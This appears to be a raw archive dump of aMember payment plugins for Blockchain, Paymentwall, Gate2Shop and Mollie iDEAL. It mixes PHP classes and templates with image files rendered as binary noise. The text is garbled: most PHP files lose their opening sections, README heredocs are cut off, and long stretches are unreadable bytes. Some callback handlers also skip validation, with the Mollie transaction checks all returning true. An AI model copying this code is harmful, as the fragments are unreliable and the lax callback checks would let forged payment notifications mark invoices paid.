}PK\xaa!payment/blockchain/blockchain.phpnu[addText('address', array('class' => 'el-wide')) ->setLabel('Your Receiving Bitcoin Address'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $req = new Am_HttpRequest(self::LIVE_URL, Am_HttpRequest::METHOD_POST); $req->addPostParameter(array( 'method' => 'create', 'address' => $this->getConfig('address'), 'callback' => $this->getPluginUrl('ipn') . "?secret=" . $invoice->getSecureId('THANKS') . '&invoice_id=' . $invoice->public_id, )); $log = $this->logRequest($req); $log->setInvoice($invoice); $res = $req->send(); $log->add($res); $arr = (array) json_decode($res->getBody(), true); if (empty($arr['input_address'])) { throw new Am_Exception_InternalError($res->getBody()); } $req = new Am_HttpRequest(self::CURRENCY_URL . "?currency={$invoice->currency}&value={$invoice->first_total}", Am_HttpRequest::METHOD_GET); $log->add($req); $res = $req->send(); $log->add($res); $amount = $res->getBody(); if (doubleval($amount) <= 0) { throw new Am_Exception_InternalError($amount); } $invoice->data()->set(self::BLOCKHAIN_AMOUNT, doubleval($amount))->update(); $a = new Am_Paysystem_Action_HtmlTemplate_Blockchain($this->getDir(), 'confirm.phtml'); $a->amount = doubleval($amount); $a->input_address = $arr['input_address']; $a->invoice = $invoice; $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { try{ parent::directAction($request, $response, $invokeArgs); } catch(Exception $e) { $this->getDi()->errorLogTable->logException($e); } //in other case blockchain will send IPN's once per minute echo 'ok'; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Blockchain_Transaction($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Blockchain_Transaction extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getFiltered('transaction_hash'); } public function validateSource() { return $this->request->getFiltered('secret') == $this->invoice->getSecureId('THANKS'); } public function validateStatus() { return !$this->request->get('test'); } public function validateTerms() { return doubleval($this->invoice->data()->get(Am_Paysystem_Blockchain::BLOCKHAIN_AMOUNT)) == doubleval($this->request->get('value') / 100000000); } public function findInvoiceId() { return $this->request->getFiltered('invoice_id'); } } class Am_Paysystem_Action_HtmlTemplate_Blockchain extends Am_Paysystem_Action_HtmlTemplate { protected $_template; protected $_path; public function __construct($path, $template) { $this->_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } }PK\5(((payment/blockchain/scripts/confirm.phtmlnu[setLayout('layout.phtml'); ?>
    _script('_receipt.phtml'); ?>

    Please send amount ?> BTC to input_address; ?>

    PK\|((payment/paymentwall.phpnu[getConfig('key') && $this->getConfig('secret') && $this->getConfig('widget'); } public function isNotAcceptableForInvoice(Invoice $invoice) { if (!in_array($invoice->rebill_times, array(0, IProduct::RECURRING_REBILLS))) { return 'Can not handle invoice with defined rebill times'; } return parent::isNotAcceptableForInvoice($invoice); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('key') ->setLabel("Application Key\n" . 'can be found in General Settings of the Application ' . 'inside of your Merchant Account'); $form->addPassword("secret") ->setLabel("Secret Key\n" . 'can be found in General Settings of the Application ' . 'inside of your Merchant Account'); $form->addText("widget") ->setLabel('Widget Code'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL_SUBSCRIPTION); $params = array( 'key' => $this->getConfig('key'), 'uid' => $invoice->getUser()->pk(), 'widget' => $this->getConfig('widget'), 'email' => $invoice->getUser()->email, 'amount' => $invoice->first_total, 'currencyCode' => $invoice->currency, 'ag_name' => $invoice->getLineDescription(), 'ag_external_id' => $invoice->public_id, 'ag_type' => $invoice->first_period == Am_Period::MAX_SQL_DATE ? self::TYPE_FIXED : self::TYPE_SUBSCRIPTION, 'ag_recurring' => ($invoice->second_total > 0) ? 1 : 0, 'ag_trial' => ($invoice->second_total > 0 && $invoice->first_total != $invoice->second_total) ? 1 : 0, 'sign_version' => 2, 'success_url' => $this->getReturnUrl(), 'pingback_url' => $this->getPluginUrl('ipn') ); if ($params['ag_type'] == self::TYPE_SUBSCRIPTION) { $period = new Am_Period($invoice->first_period); $params = array_merge($params, array( 'ag_period_length' => $period->getCount(), 'ag_period_type' => $this->trUnit($period->getUnit()), )); } if ($params['ag_trial']) { $period = new Am_Period($invoice->second_period); $params = array_merge($params, array( 'ag_post_trial_period_length' => $period->getCount(), 'ag_post_trial_period_type' => $this->trUnit($period->getUnit()), 'ag_post_trial_external_id' => $invoice->public_id, 'post_trial_amount' => $invoice->second_total, 'post_trial_currencyCode' => $invoice->currency, 'ag_post_trial_name' => $invoice->getLineDescription(), 'hide_post_trial_good' => 1, )); } $params['sign'] = $this->calculateSignature($params, $this->getConfig('secret')); foreach ($params as $k => $v) { $a->addParam($k, $v); } $result->setAction($a); } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { try{ parent::directAction($request, $response, $invokeArgs); } catch(Am_Exception $e) { $this->getDi()->errorLogTable->logException($e); print "OK"; exit(); } } function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { $this->invoice = $payment->getInvoice(); $params = array( 'key' => $this->getConfig('key'), 'ref' => $payment->receipt_id, 'uid' => $payment->user_id, 'type' => 1 //REFUND ); $params['sign'] = $this->calculateSignature($params, $this->getConfig('secret')); $requst = new Am_HttpRequest(self::URL_TICKET, Am_HttpRequest::METHOD_POST); $requst->addPostParameter($params); $log = $this->logRequest($requst); $responce = $requst->send(); $log->add($responce); if ($responce->getStatus() != 200) { $result->setFailed('Incorrect HTTP response status: ' . $responce->getStatus()); return; } $res = json_decode($responce->getBody(), true); if ($res['result'] == 1) { $trans = new Am_Paysystem_Transaction_Manual($this); $trans->setAmount($amount); $trans->setReceiptId($payment->receipt_id); $result->setSuccess($trans); return; } $result->setFailed($res['errors']); } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $this->invoice = $invoice; list($payment) = $invoice->getPaymentRecords(); $params = array( 'key' => $this->getConfig('key'), 'ref' => $payment->receipt_id, 'uid' => $payment->user_id, 'type' => 2 //CANCELL ); $params['sign'] = $this->calculateSignature($params, $this->getConfig('secret')); $requst = new Am_HttpRequest(self::URL_TICKET, Am_HttpRequest::METHOD_POST); $requst->addPostParameter($params); $log = $this->logRequest($requst); $responce = $requst->send(); $log->add($responce); if ($responce->getStatus() != 200) { $result->setFailed('Incorrect HTTP response status: ' . $responce->getStatus()); return; } $res = json_decode($responce->getBody(), true); if ($res['result'] == 1) { $invoice->setCancelled(); $result->setSuccess(); return; } $result->setFailed($res['errors']); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paymentwall($this, $request, $response, $invokeArgs); } public function calculateSignature($params, $secret) { $out = ''; ksort($params); foreach ($params as $k => $v) { $out .= sprintf('%s=%s', $k, $v); } return md5($out . $secret); } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<Settings button. 2.1 set Your API to Digital Goods 2.2 set the Pingback type to URL 2.3 set the Pingback URL to: $url 2.4 set Pingback signature version to 2 3. click Save Changes 4. press the Widgets button, Add New Widget aMember configuration: ----------------------- 1. go to aMember CP -> Configuration -> Setup/Configuration -> Plugins and enable paymentwall plugin 2. go to aMember CP -> Configuration -> Setup/Configuration -> Paymentwall and complete plugin configuration. Fill in Application Key, Secret Key and Widget Code 3. do test signup. Submit the application for approval: ------------------------------------ Once all the settings have been properly configured, go back to your Paymentwall Merchant Account, and submit the application for approval by clicking the Submit for Review button at My Applications tab CUT; } protected function trUnit($u) { static $tr = array( 'd' => 'day', 'm' => 'month', 'y' => 'year' ); return $tr[$u]; } } class Am_Paysystem_Transaction_Paymentwall extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('goodsid'); } public function getUniqId() { return $this->request->get('ref'); } public function validateSource() { $this->_checkIp(<<request->getRequestOnlyParams(); $sig = $params['sig']; unset($params['sig']); if ($sig != $this->plugin->calculateSignature($params, $this->plugin->getConfig('secret'))) { return false; } return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { parent::processValidated(); switch ($this->request->getParam($type)) { case '0' : $this->invoice->addPayment($this); break; case '2' : $this->invoice->addRefund($this, $this->request->get('ref')); break; } } }PK\؀Z\%\%payment/gate2shop.phpnu[addText("merchant_id") ->setLabel("Merchant ID\n" . 'Merchant unique identification number as provided by Gate2Shop'); $form->addText("merchant_site_id") ->setLabel("Merchant Site ID\n" . 'Merchant web site unique identification number as provided by Gate2Shop'); $form->addText("secret_key", array('class' => 'el-wide')) ->setLabel('Secret Key'); $form->addAdvCheckbox("testing")->setLabel("Test Mode Enabled"); } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('gate2shop_id', "Gate2Shop Subscription name", "")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('gate2shop_template_id', "Gate2Shop Product Descriptor ID (rebillingTemplateId)", "")); } public function getSupportedCurrencies() { return array('AUD', 'CAD', 'CHF', 'DKK', 'EUR', 'GBP', 'NOK', 'SEK', 'USD'); } function calculateOutgoingHash(Am_Paysystem_Action_Redirect $a, Invoice $invoice) { $str = implode('', array( $this->getConfig('secret_key'), $this->getConfig('merchant_id'), $a->currency, $a->total_amount )); for ($i = 1; $i <= count($invoice->getItems()); $i++) { $str .= $a->{"item_name_" . $i}; $str .= $a->{"item_amount_" . $i}; $str .= $a->{"item_quantity_" . $i}; } $str .= $a->time_stamp; return md5($str); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL); $a->merchant_id = $this->getConfig('merchant_id'); $a->merchant_site_id = $this->getConfig('merchant_site_id'); $a->currency = $invoice->currency; $a->version = '3.0.0'; $a->merchant_unique_id = $invoice->public_id; $a->first_name = $invoice->getFirstName(); $a->last_name = $invoice->getLastName(); $a->email = $invoice->getEmail(); $a->address1 = $invoice->getStreet(); $a->address2 = $invoice->getStreet1(); $a->city = $invoice->getCity(); $a->country = $invoice->getCountry(); $a->state = $invoice->getState(); $a->zip = $invoice->getZip(); $a->phone1 = $invoice->getPhone(); $a->time_stamp = date("Y-m-d.h:i:s"); if($invoice->rebill_times && ($gate2shop_id = $invoice->getItem(0)->getBillingPlanData('gate2shop_id')) && ($gate2shop_template_id = $invoice->getItem(0)->getBillingPlanData('gate2shop_template_id'))) { $a->productId = $invoice->getItem(0)->item_id; $a->rebillingProductId = $gate2shop_id; $a->rebillingTemplateId = $gate2shop_template_id; if($invoice->rebill_times) $a->isRebilling = 'true'; $a->checksum = md5($this->getConfig('secret_key') . $this->getConfig('merchant_id') . $gate2shop_id. $gate2shop_template_id . $a->time_stamp); } //not recurring else { $a->total_amount = $invoice->first_total; $a->discount = $invoice->first_discount; $a->total_tax = $invoice->first_tax; $a->numberofitems = count($invoice->getItems()); for ($i = 0; $i < $a->numberofitems; $i++) { $item = $invoice->getItem($i); $a->addParam('item_name_' . ($i + 1), $item->item_title); $a->addParam('item_number_' . ($i + 1), $i + 1); $a->addParam('item_amount_' . ($i + 1), $item->first_price); $a->addParam('item_discount_' . ($i + 1), $item->first_discount); $a->addParam('item_quantity_' . ($i + 1), $item->qty); } $a->checksum = $this->calculateOutgoingHash($a, $invoice); } $a->filterEmpty(); $result->setAction($a); } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $actionName = $request->getActionName(); if ($actionName == 'cancel') { $invoice = $this->getDi()->invoiceTable->findFirstBy(array('public_id' => $request->getFiltered('merchant_unique_id'))); if (!$invoice) throw new Am_Exception_InputError("No invoice found [$id]"); $response->redirectLocation($this->getRootUrl() . "/cancel?id=" . $invoice->getSecureId('CANCEL')); } else parent::directAction($request, $response, $invokeArgs); } function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Gate2shop($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Gate2shop_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { $url = $this->getPluginUrl(); return << 'first_name', 'name_l' => 'last_name', 'state' => 'state', 'email' => 'email', 'city' => 'city', 'country' => 'country', 'street' => 'address1', 'street2' => 'address2', 'user_external_id' => 'email', 'invoice_external_id' => 'membershipId', ); public function autoCreateGetProducts() { $cbId = $this->request->getFiltered('rebillingTemplateId'); if (empty($cbId)) return; $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('gate2shop_template_id', $cbId); if (!$pl) return; $pr = $pl->getProduct(); if (!$pr) return; return array($pr); } public function getUniqId() { return $this->request->get('PPP_TransactionID',$this->request->get('TransactionID')); } public function findInvoiceId() { return $this->request->getFiltered('merchant_unique_id'); } public function validateSource() { return (($this->request->get('responsechecksum') == md5(implode('', array( $this->getPlugin()->getConfig('secret_key'), $this->request->get('TransactionID'), $this->request->get('ErrCode'), $this->request->get('ExErrCode'), $this->request->get('Status') )))) || ($this->request->get('responsechecksum') == md5(implode('', array( $this->getPlugin()->getConfig('secret_key'), $this->request->get('ppp_status'), $this->request->get('PPP_TransactionID') )))) || ($this->request->get('responsechecksum') == md5(implode('', array( $this->getPlugin()->getConfig('secret_key'), $this->request->get('membershipId'), $this->request->get('status') ))))); } public function validateStatus() { return ($this->request->get('ppp_status') == 'OK'); } public function validateTerms() { return ((floatval($this->request->get('totalAmount')) == floatval($this->invoice->isFirstPayment() ? $this->invoice->first_total : $this->invoice->second_total)) || (floatval($this->request->get('rebilling_initial_amount')) == floatval($this->invoice->first_total))); } function processValidated() { $this->invoice->addPayment($this); } } class Am_Paysystem_Transaction_Gate2shop_Thanks extends Am_Paysystem_Transaction_Gate2shop { public function validateTerms() { return ((floatval($this->request->get('totalAmount')) == floatval($this->invoice->first_total)) || (floatval($this->request->get('rebilling_initial_amount')) == floatval($this->invoice->first_total))); } function processValidated() { $this->invoice->addPayment($this); } }PK\%payment/mollie-ideal/public/style.cssnu[/* Copyright (c) 2008 Bart Kruger */ body, p, td { font-family:Verdana,Arial,Helvetica; font-size:9pt; color:#46596E; background-color:#FFFFFF } p, td { font-family:Verdana,Arial,Helvetica; font-size:9pt; color:#46596E } div#info { font-family:Verdana,Arial,Helvetica; font-size:8pt; color:#46596E } a { color: grey; text-decoration:none } a:hover { color: grey; text-decoration:none } table#outer { border-spacing:50px; background: white url('./betaalscherm-bg-1.jpg') repeat-x right bottom; } table#outer td { padding:20px } table#inner { border-spacing:5px } table#inner td { background-color:#EEEEEE; padding:5px } input.text { width: 230px } textarea { width: 230px } sup.red { color: #dd1414 } PK\,`5%payment/mollie-ideal/public/ideal.gifnu[GIF89a93Үhhhu'''牸VGGGܜ="zxxxSSS񔔔wJqqq l===il B777222*钾gf!,93pH,Ȥrl:ШtJZجv x%aj|a8WY/ !2+oVz%5B=5B=PIܽ 1 =xNH-7?D'DM*@"aF8\# ~4H<mrŽ:@ ;@OJC"Ə~taE|0P L%`Y18Pި i)XG5IO?-A^ ~(ctPH4I<}"bA "&pA$a`IGN x!^D,aƏP jYlhᴐ 2J`@>j c:f'WDwD=$c)} q ~&%M,P8a:S_<Aa^!:‰ƊR6b<`HFA8d}P-ic88@%LceX>h DQJqd- m`1@ŸVA j@CJ?H`B"+T'3I¥^@ &$prj6lX@2îꫯ&UEHs$ ``VkR+ŷ+kD;PK\zXw: : +payment/mollie-ideal/public/mollie_logo.gifnu[GIF89aAprڞ̓gkqۋɁjnsein}otysx}x}v{̩ȼĵܚlquzҬ̗zɾνͽijȷ˺ʺ챣wvfyi}lpux}E4O>\MaSfWl]pb{mt0#4&, /#."2%<-7*-";.8+4(8,7+6*1=1;/@4C5D6B5B5G9F9KOATERFYLVKaVbXg]lcsiz|x9.<1EDҡD9jhuHLysh>p <\'HR'JFɖ$R+7p,}#Bx- le !7|G G3}%,YTiSZ$W~9\ذ#_~ @w,^xt2yq&jI+lg~`nƇmt$B:'CM88(#j2ʍI&bA!8"D^őGFRdfDiBA (7db#9I(db&+xr LNJ)'t0L`TT1"@ Y72ff&+*TjJvChGKZy0VZ8fK r[ 0@ f;PK\kPT)T)1payment/mollie-ideal/public/betaalscherm-bg-1.jpgnu[JFIFddDuckyFAdobed    - !1AQa"2qB#3CScD !1QAaq"2BRr3S ?( ]@@( ] @]t t  ]@@ tt P.t P.t ]@]@ (@t ]@]t ]@ t P.t ] @.t ] .t .@.t P.t ]@P.t t ]t P( (@.@.@] (@@.t (@@P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @PK\.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \@.t ]@(@.t ] ]t ]@.t ]@.t P(@.t ]@.t ]@.t .t ]@@.t ]@.t .t ] ]@(@.t ] P.t ]@.t ]t ]@.t ]@.t ]@.t ]@(@.t ]@.@.t ]nt ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t P.t ]@(@.t ]@]@.t ]nt ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ].t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@d( @[n\n\.p \.p \.p%.p \.p \.p \.p \..p \.p%.p \. p.p \.p \-K\. pn\[.p \.p \.p \.p \.p \.p \@P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( A@P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( A]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]AP( @P( @PP( @P( @P( X @P( @P( @P( @P( @P( @P( P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( .p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.4 @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( 4 @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( 7@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.t ]@.27.p \.p \.@.p \.p P.p \\.p \\.p P.p \\(.p \(p \( P.p .p P.@.p \.p \.p \((.p P.p \.p \\3p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \.p \1p%[\.p np \%. p \.p \.p \ pK\.p \K.p npnp-.p-.p \..\ p%. p \.p \%[np-.p \ p .\.\.p \.p-.p \KK\ p.p \ @]@(@@.t (@.t ]@]@.@ P.t  ]@@.t ]@]@.t ]@( .t ]@.t .@.@]@.@.t ]@@( ]@@.t ]t ]t t ] ]@]1Ͽ}xsfr/_͜>~?>qne߇h'YqϷsss@gǻ7|g/N3nrdzs9p嗏.;ssno:_~z|˯rs͛7-͙|Zyw1]vcOg}.nWq_rOutxk9:-\='/xG-w{xq绞Wwsw5<\,{91.㞏?}w=Oɢ?O]w޳Oa<.+;ϛ3xw6OLPp痜sw9g+f)1B& @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( 9\yr|9uv|9[Ǘ/)s}E7˻8yG.>-υ3?>Ai?p~Y9_[}o<~^o#yx߇yg/>|w~}y{=tp9rߛ~^_7 =Wk6=Og1mtG.._Su3vt:sǯos?v~G<~=ܻ;z9r㹝|㜷ݠ\fzN~o;s)gW11qO79}?Z%@P( P( p( \p p p P( p P( \@\@ .p \@.@P(\p ( .@\@P(\p \.@( P.@@ @(P( p @P(P(@P(߷p=gog '>z˗gY>\yyݝۻyzff&g{#>_.\^>~Ngٿpk?ww8˧3g_ͻ>\zoN<{:{q8˟W:_ߴa!GG˿߾rw9ffr]qjav{'Eg.^?G.=3>9v=N&2v?=kEچ4y{;~g/8{g|{8o,[?>?y~y>O\:>&}8}3>7. |7>Os9n}~hc^]# +Gφnq>{w_?Gz[zw~_[ǻÏ&I#9sӿs>^Gy}ۼx]oMծ( <7WО] xn?Zk}tM[!3Lq~/.=o.]3\OO>ُ㟋nToZ4b4[s{w~<?ӛw._yoW?ߝnsسd iQg_Y_7zo;<7<~ޮ}3ṙz:(ffgk}K~b^'Oz|/\Www/Gm߆aTQkz/}_9^dz}ۼpލs G_Fcoox罞_W,÷.];T3O>󫿧vuyӇ=ќx:2|ǎdaRuUvw7;:kչsw7>7b*?[cA|YϞ.{3 ++; @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( @P( |oyq_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_MollieIdeal extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_REVISION = '5.0.6'; protected $defaultTitle = 'Mollie iDEAL'; protected $defaultDescription = 'online betalen via uw eigen bank'; protected $_canResendPostback = true; public function getSupportedCurrencies() { return array('USD', 'GBP', 'EUR', 'CAD', 'JPY'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addInteger('business', array('size'=>20)) ->setLabel("Mollie iDEAL Partner Id\n" . 'your partner id in mollie.nl'); $form->addText('profile_key', array('size'=>20)) ->setLabel("Mollie iDEAL Profile Key\n" . 'Optional. ID of corresponding profile on Mollie.'); $form->addAdvCheckbox('testing') ->setLabel("Test Mode\n" . 'activate Test Mode in your account at mollie.nl as well'); } public function isConfigured() { return $this->getConfig('business') > ''; } public function getBanks() { require_once dirname(__FILE__).'/Mollie/Ideal.php'; $banksArray = array(); $testmode = ($this->getConfig('testing') == "1" ? true : false); $ideal = new Mollie_Ideal($this->getConfig('business')); $banksArray = $ideal->getBanks($testmode); return $banksArray; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $partnerId = $this->getConfig('business'); $checksum = md5($invoice->getLineDescription() . $invoice->first_total. $invoice->public_id . $invoice->user_id . $partnerId); $public = $this->getRootUrl() . "/application/default/plugins/payment/mollie-ideal/public"; $banksSelect = "\r\n"; $a = new Am_Paysystem_Action_HtmlTemplate_MollieIdeal($this->getDir(), 'payment-mollie-ideal-redirect.phtml'); $a->action = $this->getPluginUrl('pay'); $a->profile_key = $this->getConfig('profile_key'); $a->public = $public; $a->description = $invoice->getLineDescription(); $a->price = $invoice->first_total; $a->payment_id = $invoice->public_id; $a->member_id = $invoice->user_id; $a->checksum = $checksum; $a->banksSelect = $banksSelect; $result->setAction($a); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return <<c = new Am_Mvc_Controller($request, $response, $invokeArgs); $PathInfo = $request->getPathInfo(); $this->_case = substr($PathInfo, strrpos($PathInfo, '/') + 1); $this->_params = $this->request->isPost() ? $this->request->getPost() : $this->request->getQuery(); $receipt_id = ''; $invoice = $this->getInvoice(); //Am_Di::getInstance()->invoiceTable->findFirstByPublicId($payment_id); if ($invoice) $receipt_id = Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($invoice->invoice_id); if ($receipt_id) $this->_params['transaction_id'] = $receipt_id; } public function findInvoiceId() { return (isset($this->_params['payment_id'])) ? $this->_params['payment_id'] : ''; } public function getUniqId() { return (isset($this->_params['transaction_id'])) ? $this->_params['transaction_id'] : ''; } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function getAmount() { return (isset($this->_params['price'])) ? $this->_params['price'] : ''; } public function processValidated() { require_once dirname(__FILE__).'/Mollie/Ideal.php'; $partnerId = $this->getPlugin()->getConfig('business'); $ideal = new Mollie_Ideal($partnerId); $testmode = ($this->getPlugin()->getConfig('testing') == "1" ? true : false); $public = $this->getPlugin()->getRootUrl() . "/application/default/plugins/payment/mollie-ideal/public"; $invoice = $this->getInvoice(); $mollieTransactionId = $this->getUniqId(); if ($this->_case == 'pay') { $mollieBankId = $this->_params['mollie_ideal_bank']; $description = $this->_params['description']; $price = $this->_params['price']; $payment_id = $this->_params['payment_id']; $member_id = $this->_params['member_id']; $checksum = md5($description . $price . $payment_id . $member_id . $partnerId); if ($this->_params['checksum'] != $checksum) throw new Am_Exception_Paysystem_TransactionInvalid('Mollie Ideal: Checksum error'); if ($ideal->checkBank($mollieBankId, $testmode)) { // Create the payment, true on succes, false otherwise // $mollieBankId = the id of the bank the user chose // $description = the description that the user will see on his check // $amount = the total amount of money that the user has to pay // $siteReportUrl = the url which will be called from the Mollie server when the payment is complete. // Mollie will add ?transaction_id= to this url! // $siteReturnUrl = the url where Mollie returns the user to when the payment is complete. // Mollie will add ?transaction_id= to this url! $amount = sprintf('%d', $price * 100); $siteReportUrl = $this->getPlugin()->getPluginUrl('ipn') . "?payment_id=" . $payment_id; $siteReturnUrl = $this->getPlugin()->getPluginUrl('status') . "?payment_id=" . $payment_id; // for testing only $siteReportUrl = str_replace('localhost', 'yourdomain.com', $siteReportUrl); $siteReturnUrl = str_replace('localhost', 'yourdomain.com', $siteReturnUrl); if ($ideal->createPayment($mollieBankId, $description, $amount, $siteReportUrl, $siteReturnUrl)) { // Get the url of the chosen bank to redirect the user to, // to complete the payment //$a = new Am_Paysystem_Action_Redirect($ideal->getBankUrl()); //$result->setAction($a); header('Location: ' . $ideal->getBankUrl()); exit; } else { // show message that the payment could not be created // the function $ideal->getStatus() returns the status // message that Mollie returns throw new Am_Exception_Paysystem_TransactionInvalid('Mollie Ideal error: Status = [' . $ideal->getStatus() . ']'); } } else { throw new Am_Exception_Paysystem_TransactionInvalid('Mollie Ideal error: CheckBank Failed'); } } elseif ($this->_case == 'status') { if ($invoice->status > 0){ $status = "Wij hebben uw betaling ontvangen."; } else { $status = "Wij hebben uw betaling nog niet ontvangen.
    Uw iDEAL betaling is wellicht nog onderweg."; $status.= "
    Wacht enkele minuten en ververs dan deze pagina.
    Bij problemen kunt u contact opnemen met " . Am_Di::getInstance()->config->get('admin_email') . "."; $status.= "
    Noteer uw betaalcode."; } $a = new Am_Paysystem_Action_HtmlTemplate_MollieIdeal($this->getPlugin()->getDir(), 'payment-mollie-ideal-thanks.phtml'); $a->action = $this->getPlugin()->getRootUrl() ."/member"; $a->public = $public; $a->status = $status; $a->payment_id = $invoice->public_id; $a->mollieTransactionId = $mollieTransactionId; $a->process($this->c); //$response->setAction($a); } elseif ($this->_case == 'ipn') { // Chech if the given transaction Id is valid if ($ideal->checkPayment($mollieTransactionId) == true) { // process payment $this->invoice->addPayment($this); } else { // Payment failed throw new Am_Exception_Paysystem_TransactionInvalid('Mollie Ideal error: Status = [' . $ideal->getStatus() . ']'); } } else { throw new Am_Exception_Paysystem_TransactionInvalid('Mollie Ideal error: Unknowk case [' . $this->_case . ']'); } } }PK\C.9>payment/mollie-ideal/scripts/payment-mollie-ideal-thanks.phtmlnu[setLayout('layout.phtml'); ?>

    iDEAL betaling

    Betaalstatus

    Betaalstatusstatus; ?>
    Betaalcodepayment_id; ?> / mollieTransactionId; ?>


    PK\4K@payment/mollie-ideal/scripts/payment-mollie-ideal-redirect.phtmlnu[setLayout('layout.phtml'); ?>

    iDEAL betaling

    Selecteer uw bank
    Selecteer uw bank en klik op 'Verder' om door te
    gaan naar het iDEAL betaalscherm van uw bank.

    Omschrijvingdescription; ?>
    Bedragprice, 2, ',', ''); ?>
    Uw bankbanksSelect; ?>


    PK\B`>>%payment/mollie-ideal/Mollie/Ideal.phpnu[ * @link http://www.concepto.nl Concepto IT Solution * @version 1.0.1 * * Modified by Bart Kruger: * - modified testmode support in static method getBanks() */ class Mollie_Ideal { const MINIMUM_TRANSACTION_AMOUNT = 60; private $partnerId = 0; private $transactionId = 0; private $bankId = 0; private $amount = 0; private $description = ''; private $reportUrl = ''; private $returnUrl = ''; private $country = 31; // Default: The Netherlands (031) private $currency = 'EUR'; // Default: Euro private $payed = false; private $bankUrl = ''; private $statusMessage = ''; private $testmode = false; private $banks = array(); // Info about the bankaccount that made the payment // (only available after checking the payment) private $consumer = array(); /** * Constructor * * @param integer $partnerId */ function __construct($partnerId) { $this->setPartnerID($partnerId); } /** * Prepare a Payment * * @param integer $bankId * @param string $description * @param integer $amount * @param string $reportUrl * @param string $returnUrl * @return boolean True on succes, false otherwise */ public function createPayment($bankId, $description, $amount, $reportUrl, $returnUrl) { if (!$this->setBankid($bankId) || !$this->setDescription($description) || !$this->setAmount($amount) || !$this->setReportUrl($reportUrl) || 